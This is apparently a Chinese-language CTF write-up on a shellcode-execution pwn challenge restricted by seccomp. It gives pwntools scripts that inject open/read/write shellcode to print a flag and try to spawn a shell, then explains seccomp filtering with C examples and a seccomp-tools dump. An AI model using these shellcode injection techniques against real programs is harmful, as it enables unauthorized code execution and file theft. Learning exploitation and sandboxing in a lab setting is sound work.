0%

Seccomp 限制系统调用

Linux下的一种限制系统调用的机制,刷题时偶然的一个发现

源自刷到的很简单的PWN题,反编译代码如下:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

一个很简单的题目,就是读取一段shellcode执行就行了。根据标题orw的提示,只需要写一段shellcode去open(打开)文件,read(读取)文件,然后write(写)出来就行了。我本来也是直接就这样做的,读取到了文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = "debug"
p=process('./orw.bin')
# push flag path
payload=shellcraft.pushstr('/home/r0mm/LAB/lab2/flag.txt')
# open flag file
payload+=shellcraft.open("esp")
# read flag file
payload+=shellcraft.read("eax","esp",0x100)
# write to stdout
payload+=shellcraft.write(1,"esp",0x100)
p.recv(1024)
#gdb.attach(p)
p.sendline(asm(payload))
p.recvall()
p.close()

当时想了下,为啥不直接开一个shell呢,岂不是更好。于是改成了下面的脚本:

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = "debug"
p=process('./orw.bin')
payload = shellcraft.sh()
p.recv(1024)
#gdb.attach(p)
p.sendline(asm(payload))
p.interactive()

很奇怪,这段获取shell的代码挂了,我调试到int 0x80也没发现有什么问题啊,这就迷了。回头看反编译的代码,里面藏了个seccomp函数,搜了一下,才发现了这题还藏着一个可以限制系统调用的seccomp安全机制,搞出类似sandbox的东西。

Seccomp

  seccomp的全称是securecomputing mode,是linuxkernel从2.6.23版本开始所支持的一种安全机制。由于大量的系统调用直接暴露给用户态程序危险太大( 比如pwn题的日常syscall ),而又不是所有的系统调用都需要,便可以通过seccomp限制程序使用某些系统调用。

使用seccomp

  简单使用示例如下,传入’/bin/sh’,使用系统调用execve得到一个shell,不适用seccomp时:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main(void){
char * filename = "/bin/sh";
char * argv[] = {"/bin/sh",NULL};
char * envp[] = {NULL};
//调用execve
syscall(59,filename,argv,envp);
return 0;
}

编译运行结果:

1
2
3
4
5
6
7
8
9
10
r0mmm@ubuntu:~/Desktop$ gcc -g simple_syscall.c -o simple_syscall
simple_syscall.c: In function ‘main’:
simple_syscall.c:7:5: warning: implicit declaration of function ‘syscall’ [-Wimplicit-function-declaration]
syscall(59,filename,argv,envp);
^
r0mmm@ubuntu:~/Desktop$ ./simple_syscall
$ whoami
r0mmm
$ exit
r0mmm@ubuntu:~/Desktop$

使用seccomp禁用掉execve时(seccomp_init是初始化的过滤状态,SCMP_ACT_ALLOW,表示默认允许所有的syscacll,类似黑名单方式…SCMP_ACT_KILL,则表示默认不允许所有的syscall,类似白名单方式):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <seccomp.h>
int main(void){
//设置禁用execve
scmp_filter_ctx ctx;
//初始化为黑名单
ctx = seccomp_init(SCMP_ACT_ALLOW);
//添加禁止规则
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
char * filename = "/bin/sh";
char * argv[] = {"/bin/sh",NULL};
char * envp[] = {NULL};
//调用execve
syscall(59,filename,argv,envp);
return 0;
}

编译运行结果:

1
2
3
4
5
6
7
8
r0mmm@ubuntu:~/Desktop$ gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp
simple_syscall_seccomp.c: In function ‘main’:
simple_syscall_seccomp.c:14:5: warning: implicit declaration of function ‘syscall’ [-Wimplicit-function-declaration]
syscall(59,filename,argv,envp);
^
r0mmm@ubuntu:~/Desktop$ ./simple_syscall_seccomp
Bad system call (core dumped)
r0mmm@ubuntu:~/Desktop$

可以看到调用execve失败。

查看是否使用了Seccomp

  手动的话,可以利用/proc/pid/status中的Seccomp字段查看,如果没有seccomp字段,说明内核不支持seccomp(linux kernel version >3.8)

  工具的话有: https://github.com/david942j/seccomp-tools
使用,比如当前的pwn题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
r0mmm@ubuntu:~/Desktop/LAB/lab2$ seccomp-tools dump ./orw.bin
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
r0mmm@ubuntu:~/Desktop/LAB/lab2$

可以看到是一个白名单,列出了ALLOW的规则。

收工:)